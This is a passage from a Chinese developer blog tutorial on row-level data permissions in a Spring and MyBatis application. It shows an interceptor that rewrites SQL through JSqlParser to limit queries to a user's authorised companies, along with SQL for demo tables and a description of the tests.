class="line"><span class="keyword">import</span> org.apache.ibatis.executor.statement.StatementHandler;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.BoundSql;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.MappedStatement;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.SqlCommandType;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.plugin.*;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.MetaObject;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.SystemMetaObject;</span><br><span class="line"><span class="keyword">import</span> org.aspectj.lang.annotation.Aspect;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.StringReader;</span><br><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Intercepts(&#123;@Signature(type = StatementHandler.class, method = &quot;prepare&quot;, args = &#123;Connection.class, Integer.class&#125;)&#125;)</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UnitDataPermissionInterceptor</span> <span class="keyword">implements</span> <span class="title class_">Interceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">intercept</span><span class="params">(Invocation invocation)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="comment">// 在有权限的情况下查询用户所关联的企业列表</span></span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果非权限用户则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dataScopeParam</span> <span class="operator">=</span> DataScopeParamContentHolder.get();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (dataScopeParam != <span class="literal">null</span>) &#123;</span><br><span class="line">            dataScopeParam.setEntIdList(sysUser.getEntIdList());</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取header中的待过滤的企业列表</span></span><br><span class="line"><span class="comment">//        Set&lt;Long&gt; entIdList = CurrentEntIdSearchContextHolder.getEntIdList();</span></span><br><span class="line"><span class="comment">//        if (entIdList != null) &#123;</span></span><br><span class="line"><span class="comment">//            if (dataScopeParam == null) &#123;</span></span><br><span class="line"><span class="comment">//                dataScopeParam = new DataScopeParam(&quot;ent_id&quot;, entIdList, true, CollUtil.newArrayList(&quot;sys_file&quot;));</span></span><br><span class="line"><span class="comment">//            &#125; else &#123;</span></span><br><span class="line"><span class="comment">//                // 查询交集</span></span><br><span class="line"><span class="comment">//                Set&lt;Long&gt; permissionEntList = dataScopeParam.getEntIdList();</span></span><br><span class="line"><span class="comment">//                dataScopeParam.setFilterField(true);</span></span><br><span class="line"><span class="comment">//                dataScopeParam.setEntIdList(entIdList.stream().filter(permissionEntList::contains).collect(Collectors.toSet()));</span></span><br><span class="line"><span class="comment">//            &#125;</span></span><br><span class="line"><span class="comment">//        &#125;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 没有添加注解则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (dataScopeParam == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 注解配置不过滤数据则不往下执行</span></span><br><span class="line">        <span class="keyword">if</span> (!dataScopeParam.isFilterField()) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">StatementHandler</span> <span class="variable">statementHandler</span> <span class="operator">=</span> PluginUtils.realTarget(invocation.getTarget());</span><br><span class="line">        <span class="type">MetaObject</span> <span class="variable">metaObject</span> <span class="operator">=</span> SystemMetaObject.forObject(statementHandler);</span><br><span class="line">        <span class="comment">// 先判断是不是SELECT操作 不是直接过滤</span></span><br><span class="line">        <span class="type">MappedStatement</span> <span class="variable">mappedStatement</span> <span class="operator">=</span> (MappedStatement) metaObject.getValue(<span class="string">&quot;delegate.mappedStatement&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (SqlCommandType.FLUSH.equals(mappedStatement.getSqlCommandType()) || SqlCommandType.UNKNOWN.equals(mappedStatement.getSqlCommandType())) &#123;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">BoundSql</span> <span class="variable">boundSql</span> <span class="operator">=</span> (BoundSql) metaObject.getValue(<span class="string">&quot;delegate.boundSql&quot;</span>);</span><br><span class="line">        <span class="comment">// 执行的SQL语句</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">originalSql</span> <span class="operator">=</span> boundSql.getSql();</span><br><span class="line">        <span class="comment">// SQL语句的参数</span></span><br><span class="line">        <span class="type">Object</span> <span class="variable">parameterObject</span> <span class="operator">=</span> boundSql.getParameterObject();</span><br><span class="line">        <span class="comment">// 拦截插入语句</span></span><br><span class="line">        <span class="keyword">if</span> (SqlCommandType.INSERT.equals(mappedStatement.getSqlCommandType())) &#123;</span><br><span class="line">            <span class="comment">// 当为insert时将判断是否具备权限</span></span><br><span class="line">            <span class="keyword">if</span> (parameterObject != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="type">Long</span> <span class="variable">entId</span> <span class="operator">=</span> Convert.toLong(ReflectUtil.getFieldValue(parameterObject, StrUtil.toCamelCase(dataScopeParam.getUnitField())));</span><br><span class="line">                <span class="comment">// 判断entId是否在权限范围内</span></span><br><span class="line">                <span class="keyword">if</span> (entId != <span class="literal">null</span> &amp;&amp; !dataScopeParam.getEntIdList().contains(entId)) &#123;</span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnauthorizedException</span>(<span class="string">&quot;entId不在权限范围内&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 拦截更新语句，业务包含逻辑删除所以此处用的update</span></span><br><span class="line">        <span class="keyword">if</span> (SqlCommandType.UPDATE.equals(mappedStatement.getSqlCommandType())) &#123;</span><br><span class="line">            <span class="comment">// 修改updateSql</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">updateSql</span> <span class="operator">=</span> handleUpdateSql(originalSql, dataScopeParam.getEntIdList(), dataScopeParam.getUnitField(), dataScopeParam.getIgnoreTables());</span><br><span class="line">            log.warn(<span class="string">&quot;数据权限处理过后UPDATE的SQL: &#123;&#125;&quot;</span>, updateSql);</span><br><span class="line">            metaObject.setValue(<span class="string">&quot;delegate.boundSql.sql&quot;</span>, updateSql);</span><br><span class="line">            <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 需要过滤的数据</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">finalSql</span> <span class="operator">=</span> <span class="built_in">this</span>.handleSql(originalSql, dataScopeParam.getEntIdList(), dataScopeParam.getUnitField(), dataScopeParam.getIgnoreTables());</span><br><span class="line">        log.warn(<span class="string">&quot;数据权限处理过后SELECT的SQL: &#123;&#125;&quot;</span>, finalSql);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 装载改写后的sql</span></span><br><span class="line">        metaObject.setValue(<span class="string">&quot;delegate.boundSql.sql&quot;</span>, finalSql);</span><br><span class="line">        <span class="keyword">return</span> invocation.proceed();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 修改select语句sql</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> originalSql 原始sql</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> entIdList   需要过滤的企业列表</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> fieldName   当前主表中字段名称</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 修改后的语句</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> JSQLParserException sql修改异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">handleSql</span><span class="params">(String originalSql, Set&lt;Long&gt; entIdList, String fieldName, List&lt;String&gt; ignores)</span> <span class="keyword">throws</span> JSQLParserException &#123;</span><br><span class="line">        <span class="type">CCJSqlParserManager</span> <span class="variable">parserManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CCJSqlParserManager</span>();</span><br><span class="line">        <span class="type">Select</span> <span class="variable">select</span> <span class="operator">=</span> (Select) parserManager.parse(<span class="keyword">new</span> <span class="title class_">StringReader</span>(originalSql));</span><br><span class="line">        <span class="type">SelectBody</span> <span class="variable">selectBody</span> <span class="operator">=</span> select.getSelectBody();</span><br><span class="line">        <span class="keyword">if</span> (selectBody <span class="keyword">instanceof</span> PlainSelect) &#123;</span><br><span class="line">            <span class="built_in">this</span>.setWhere((PlainSelect) selectBody, entIdList, fieldName, ignores);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (selectBody <span class="keyword">instanceof</span> SetOperationList) &#123;</span><br><span class="line">            <span class="type">SetOperationList</span> <span class="variable">setOperationList</span> <span class="operator">=</span> (SetOperationList) selectBody;</span><br><span class="line">            List&lt;SelectBody&gt; selectBodyList = setOperationList.getSelects();</span><br><span class="line">            selectBodyList.forEach(s -&gt; <span class="built_in">this</span>.setWhere((PlainSelect) s, entIdList, fieldName, ignores));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> select.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 修改update语句</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> originalSql 元素sql</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> entIdList   允许查询的企业列表</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> fieldName   表中待过滤查询的列名</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ignores     忽略的表名</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     * <span class="doctag">@throws</span> JSQLParserException</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">handleUpdateSql</span><span class="params">(String originalSql, Set&lt;Long&gt; entIdList, String fieldName, List&lt;String&gt; ignores)</span> <span class="keyword">throws</span> JSQLParserException &#123;</span><br><span class="line">        <span class="type">CCJSqlParserManager</span> <span class="variable">parserManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CCJSqlParserManager</span>();</span><br><span class="line">        <span class="type">Update</span> <span class="variable">update</span> <span class="operator">=</span> (Update) parserManager.parse(<span class="keyword">new</span> <span class="title class_">StringReader</span>(originalSql));</span><br><span class="line">        <span class="keyword">if</span> (ignores.contains(update.getTable().getName())) &#123;</span><br><span class="line">            <span class="comment">// 当前表名的处于不过滤列表则不进行二次封装处理</span></span><br><span class="line">            <span class="keyword">return</span> originalSql;</span><br><span class="line">        &#125;</span><br><span class="line">        String dataPermissionSql;</span><br><span class="line">        <span class="keyword">if</span> (entIdList.size() == <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="type">EqualsTo</span> <span class="variable">selfEqualsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">            selfEqualsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(fieldName));</span><br><span class="line">            selfEqualsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(entIdList.stream().findFirst().orElse(<span class="number">0L</span>)));</span><br><span class="line">            dataPermissionSql = selfEqualsTo.toString();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            dataPermissionSql = fieldName + <span class="string">&quot; in ( &quot;</span> + CollUtil.join(entIdList, StringPool.COMMA) + <span class="string">&quot; )&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        update.setWhere(<span class="keyword">new</span> <span class="title class_">AndExpression</span>(update.getWhere(), CCJSqlParserUtil.parseCondExpression(dataPermissionSql)));</span><br><span class="line">        <span class="keyword">return</span> update.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设置 where 条件  --  使用CCJSqlParser将原SQL进行解析并改写</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> plainSelect 查询对象</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@SneakyThrows(Exception.class)</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">setWhere</span><span class="params">(PlainSelect plainSelect, Set&lt;Long&gt; entIdList, String fieldName, List&lt;String&gt; ignores)</span> &#123;</span><br><span class="line">        <span class="type">Table</span> <span class="variable">fromItem</span> <span class="operator">=</span> (Table) plainSelect.getFromItem();</span><br><span class="line">        <span class="comment">// 有别名用别名，无别名用表名，防止字段冲突报错</span></span><br><span class="line">        <span class="type">Alias</span> <span class="variable">fromItemAlias</span> <span class="operator">=</span> fromItem.getAlias();</span><br><span class="line">        <span class="keyword">if</span> (ignores.contains(fromItem.getName())) &#123;</span><br><span class="line">            <span class="comment">// 当前表名的处于不过滤列表则不进行二次封装处理</span></span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">String</span> <span class="variable">mainTableName</span> <span class="operator">=</span> fromItemAlias == <span class="literal">null</span> ? fromItem.getName() : fromItemAlias.getName();</span><br><span class="line">        <span class="comment">// 构建子查询 -- 数据权限过滤SQL</span></span><br><span class="line">        String dataPermissionSql;</span><br><span class="line">        <span class="keyword">if</span> (entIdList.size() == <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="type">EqualsTo</span> <span class="variable">selfEqualsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">            selfEqualsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(mainTableName + <span class="string">&quot;.&quot;</span> + fieldName));</span><br><span class="line">            selfEqualsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(entIdList.stream().findFirst().orElse(<span class="number">0L</span>)));</span><br><span class="line">            dataPermissionSql = selfEqualsTo.toString();</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (entIdList.size() &lt; <span class="number">1</span>) &#123;</span><br><span class="line">            dataPermissionSql = mainTableName + <span class="string">&quot;.&quot;</span> + fieldName + <span class="string">&quot; in ( &quot;</span> + StringPool.NULL + <span class="string">&quot; )&quot;</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            dataPermissionSql = mainTableName + <span class="string">&quot;.&quot;</span> + fieldName + <span class="string">&quot; in ( &quot;</span> + CollUtil.join(entIdList, StringPool.COMMA) + <span class="string">&quot; )&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (plainSelect.getWhere() == <span class="literal">null</span>) &#123;</span><br><span class="line">            plainSelect.setWhere(CCJSqlParserUtil.parseCondExpression(dataPermissionSql));</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            plainSelect.setWhere(<span class="keyword">new</span> <span class="title class_">AndExpression</span>(plainSelect.getWhere(), CCJSqlParserUtil.parseCondExpression(dataPermissionSql)));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成拦截对象的代理</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> target 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 代理对象</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">plugin</span><span class="params">(Object target)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (target <span class="keyword">instanceof</span> StatementHandler) &#123;</span><br><span class="line">            <span class="keyword">return</span> Plugin.wrap(target, <span class="built_in">this</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> target;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * mybatis配置的属性</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> properties mybatis配置的属性</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setProperties</span><span class="params">(Properties properties)</span> &#123;</span><br><span class="line">        log.info(properties.toString());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="新建几张表并插入数据用于数据测试">新建几张表并插入数据用于数据测试</h4><h5 id="企业信息表cm-enterprise">企业信息表<code>cm_enterprise</code></h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">create table cm_enterprise</span><br><span class="line">(</span><br><span class="line">    id          bigint                             not null comment &#x27;主键&#x27;</span><br><span class="line">        primary key,</span><br><span class="line">    name        varchar(255)                       not null comment &#x27;企业名称&#x27;,</span><br><span class="line">    create_time datetime default CURRENT_TIMESTAMP not null,</span><br><span class="line">    update_time datetime                           not null on update CURRENT_TIMESTAMP,</span><br><span class="line">    del_flag    char     default &#x27;0&#x27;               not null</span><br><span class="line">)</span><br><span class="line">    comment &#x27;企业信息表&#x27;;</span><br><span class="line">INSERT INTO authorization_demo.cm_enterprise (id, name, create_time, update_time, del_flag) VALUES (1, &#x27;企业1&#x27;, &#x27;2023-03-01 09:33:48&#x27;, &#x27;2023-03-01 09:33:58&#x27;, &#x27;0&#x27;);</span><br><span class="line">INSERT INTO authorization_demo.cm_enterprise (id, name, create_time, update_time, del_flag) VALUES (2, &#x27;企业2&#x27;, &#x27;2023-03-01 09:33:50&#x27;, &#x27;2023-03-01 09:33:59&#x27;, &#x27;0&#x27;);</span><br><span class="line">INSERT INTO authorization_demo.cm_enterprise (id, name, create_time, update_time, del_flag) VALUES (3, &#x27;企业3&#x27;, &#x27;2023-03-01 09:33:55&#x27;, &#x27;2023-03-01 09:34:00&#x27;, &#x27;0&#x27;);</span><br><span class="line">INSERT INTO authorization_demo.cm_enterprise (id, name, create_time, update_time, del_flag) VALUES (4, &#x27;企业4&#x27;, &#x27;2023-03-01 09:33:56&#x27;, &#x27;2023-03-01 09:34:01&#x27;, &#x27;0&#x27;);</span><br><span class="line">INSERT INTO authorization_demo.cm_enterprise (id, name, create_time, update_time, del_flag) VALUES (5, &#x27;企业5&#x27;, &#x27;2023-03-01 09:33:57&#x27;, &#x27;2023-03-01 09:34:02&#x27;, &#x27;0&#x27;);</span><br></pre></td></tr></table></figure><table><thead><tr><th style="text-align:left">id</th><th style="text-align:left">name</th><th style="text-align:left">create_time</th><th style="text-align:left">update_time</th><th style="text-align:left">del_flag</th></tr></thead><tbody><tr><td style="text-align:left">1</td><td style="text-align:left">企业1</td><td style="text-align:left">2023-03-01 09:33:48</td><td style="text-align:left">2023-03-01 09:33:58</td><td style="text-align:left">0</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">企业2</td><td style="text-align:left">2023-03-01 09:33:50</td><td style="text-align:left">2023-03-01 09:33:59</td><td style="text-align:left">0</td></tr><tr><td style="text-align:left">3</td><td style="text-align:left">企业3</td><td style="text-align:left">2023-03-01 09:33:55</td><td style="text-align:left">2023-03-01 09:34:00</td><td style="text-align:left">0</td></tr><tr><td style="text-align:left">4</td><td style="text-align:left">企业4</td><td style="text-align:left">2023-03-01 09:33:56</td><td style="text-align:left">2023-03-01 09:34:01</td><td style="text-align:left">0</td></tr><tr><td style="text-align:left">5</td><td style="text-align:left">企业5</td><td style="text-align:left">2023-03-01 09:33:57</td><td style="text-align:left">2023-03-01 09:34:02</td><td style="text-align:left">0</td></tr></tbody></table><h5 id="用户企业关联表cm-user-enterprise">用户企业关联表<code>cm_user_enterprise</code></h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">-- auto-generated definition</span><br><span class="line">create table cm_user_enterprise</span><br><span class="line">(</span><br><span class="line">    user_id bigint not null comment &#x27;用户id&#x27;,</span><br><span class="line">    ent_id  bigint not null comment &#x27;企业id&#x27;</span><br><span class="line">)</span><br><span class="line">    comment &#x27;用户企业关联表&#x27;;</span><br><span class="line">INSERT INTO authorization_demo.cm_user_enterprise (user_id, ent_id) VALUES (1, 1);</span><br><span class="line">INSERT INTO authorization_demo.cm_user_enterprise (user_id, ent_id) VALUES (1, 2);</span><br><span class="line">INSERT INTO authorization_demo.cm_user_enterprise (user_id, ent_id) VALUES (1, 3);</span><br><span class="line">INSERT INTO authorization_demo.cm_user_enterprise (user_id, ent_id) VALUES (2, 3);</span><br><span class="line">INSERT INTO authorization_demo.cm_user_enterprise (user_id, ent_id) VALUES (2, 4);</span><br><span class="line">INSERT INTO authorization_demo.cm_user_enterprise (user_id, ent_id) VALUES (2, 5);</span><br></pre></td></tr></table></figure><table><thead><tr><th style="text-align:left">user_id</th><th style="text-align:left">ent_id</th></tr></thead><tbody><tr><td style="text-align:left">1</td><td style="text-align:left">1</td></tr><tr><td style="text-align:left">1</td><td style="text-align:left">2</td></tr><tr><td style="text-align:left">1</td><td style="text-align:left">3</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">3</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">4</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">5</td></tr></tbody></table><p>假设用户<code>admin</code>具备企业1、2、3的权限。用户<code>test</code>具备企业3、4、5的权限</p><h5 id="企业数据测试表cm-ent-data">企业数据测试表<code>cm_ent_data</code></h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">create table <span class="title function_">cm_ent_data</span></span><br><span class="line"><span class="params">(</span></span><br><span class="line"><span class="params">    id          bigint auto_increment comment <span class="string">&#x27;主键&#x27;</span></span></span><br><span class="line"><span class="params">        primary key,</span></span><br><span class="line"><span class="params">    ent_id      bigint       not <span class="literal">null</span> comment <span class="string">&#x27;企业id&#x27;</span>,</span></span><br><span class="line"><span class="params">    description varchar(<span class="number">200</span>)</span> <span class="literal">null</span> comment <span class="string">&#x27;说明&#x27;</span></span><br><span class="line">)</span><br><span class="line">    comment <span class="string">&#x27;用户数据测试的表&#x27;</span>;</span><br><span class="line">INSERT INTO authorization_demo.cm_ent_data (id, ent_id, description) VALUES (<span class="number">1</span>, <span class="number">1</span>, <span class="string">&#x27;企业1的测试数据1号&#x27;</span>);</span><br><span class="line">INSERT INTO authorization_demo.cm_ent_data (id, ent_id, description) VALUES (<span class="number">2</span>, <span class="number">2</span>, <span class="string">&#x27;企业2的测试数据1号&#x27;</span>);</span><br><span class="line">INSERT INTO authorization_demo.cm_ent_data (id, ent_id, description) VALUES (<span class="number">3</span>, <span class="number">3</span>, <span class="string">&#x27;企业3的测试数据1号&#x27;</span>);</span><br><span class="line">INSERT INTO authorization_demo.cm_ent_data (id, ent_id, description) VALUES (<span class="number">4</span>, <span class="number">4</span>, <span class="string">&#x27;企业4的测试数据1号&#x27;</span>);</span><br><span class="line">INSERT INTO authorization_demo.cm_ent_data (id, ent_id, description) VALUES (<span class="number">5</span>, <span class="number">5</span>, <span class="string">&#x27;企业5的测试数据1号&#x27;</span>);</span><br><span class="line">INSERT INTO authorization_demo.cm_ent_data (id, ent_id, description) VALUES (<span class="number">6</span>, <span class="number">2</span>, <span class="string">&#x27;企业2的测试数据2号&#x27;</span>);</span><br><span class="line">INSERT INTO authorization_demo.cm_ent_data (id, ent_id, description) VALUES (<span class="number">7</span>, <span class="number">3</span>, <span class="string">&#x27;企业3的测试数据2号&#x27;</span>);</span><br><span class="line"></span><br></pre></td></tr></table></figure><table><thead><tr><th style="text-align:left">id</th><th style="text-align:left">ent_id</th><th style="text-align:left">description</th></tr></thead><tbody><tr><td style="text-align:left">1</td><td style="text-align:left">1</td><td style="text-align:left">企业1的测试数据1号</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">2</td><td style="text-align:left">企业2的测试数据1号</td></tr><tr><td style="text-align:left">3</td><td style="text-align:left">3</td><td style="text-align:left">企业3的测试数据1号</td></tr><tr><td style="text-align:left">4</td><td style="text-align:left">4</td><td style="text-align:left">企业4的测试数据1号</td></tr><tr><td style="text-align:left">5</td><td style="text-align:left">5</td><td style="text-align:left">企业5的测试数据1号</td></tr><tr><td style="text-align:left">6</td><td style="text-align:left">2</td><td style="text-align:left">企业2的测试数据2号</td></tr><tr><td style="text-align:left">7</td><td style="text-align:left">3</td><td style="text-align:left">企业3的测试数据2号</td></tr></tbody></table><p>假设企业2、3分别有2条数据，企业1、4、5分别只有一条数据</p><h4 id="这三张表生成对应的controller、service、mapper文件">这三张表生成对应的controller、service、mapper文件</h4><p>建议用easycode插件，具体使用方法和模版（生成后的内容需要更新实际情况改改）</p><div class="note green icon-padding flat"><i class="note-icon fas fa-rocket"></i><p>📃 关联文档</p><p><a href="/posts/18111/" title="idea插件easy code代码生成模版">📄 easy code使用及模版</a></p></div><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/97f27c824b17b745358ee22e21accf11.png" alt="image-20230301094847498"></p><h4 id="登录时查询用户关联的企业列表并缓存，当然如果怕影响登录速度，可以在登录后执行一个异步方法进行相关操作">登录时查询用户关联的企业列表并缓存，当然如果怕影响登录速度，可以在登录后执行一个异步方法进行相关操作</h4><p>具体添加的代码见对应的git提交即可，总之这一步主要目的就是让权限系统中的用户信息中含有该用户的关联企业列表</p><h5 id="启动项目后进行测试">启动项目后进行测试</h5><h5 id="未加dataScope注解查询企业数据测试表，结果显示查出全部数据">未加<code>dataScope</code>注解查询企业数据测试表，结果显示查出全部数据</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/7af1952da271a654e6e9cc2119b73455.png" alt="image-20230301102316946"></p><h5 id="添加注解测试，用户admin关联企业1、2、3查询结果符合期望">添加注解测试，用户admin关联企业1、2、3查询结果符合期望</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/8189c65b2afd18f887551a81c36da4e0.png" alt="image-20230301104139695"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/2c4b94df337feaeb62ce22ad6535f11c.png" alt="image-20230301103938748"></p><h4 id="现在有个需求，根据前端需要查询的企业进行数据筛选">现在有个需求，根据前端需要查询的企业进行数据筛选</h4><h5 id="增加一个Holder用于储存当前查询ent-id列表">增加一个Holder用于储存当前查询ent_id列表</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.allbsjwt.config.datascope;</span><br><span 